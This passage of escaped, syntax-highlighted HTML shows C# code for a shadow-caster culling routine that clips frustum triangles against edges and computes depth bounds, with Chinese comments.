class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 最坏情况:1 个三角形被拆成 2**4 = 16 个三角形\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTriangleData\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estackalloc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTriangleData\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisVisibleXY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eminZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePositiveInfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emaxZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eNegativeInfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumTriangleCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangleCount\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumTriangleIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumTriangleIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumTriangleIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eIsCulled\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangleCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCullTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangleCount\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedges\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangleCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTriangleData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eIsCulled\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003econtinue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisVisibleXY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eminZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eminZ\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e)));\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emaxZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emaxZ\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e)));\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eisVisibleXY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eminZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emaxZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 为了阴影的完整性,不应该修改 shadowMax.z\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eminZ\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eCullTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\u003cspan class=\"n\"\u003eNoAlias\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTriangleData\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangleIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangleCount\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTriangleData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003etriangleIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eIsCulled\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e 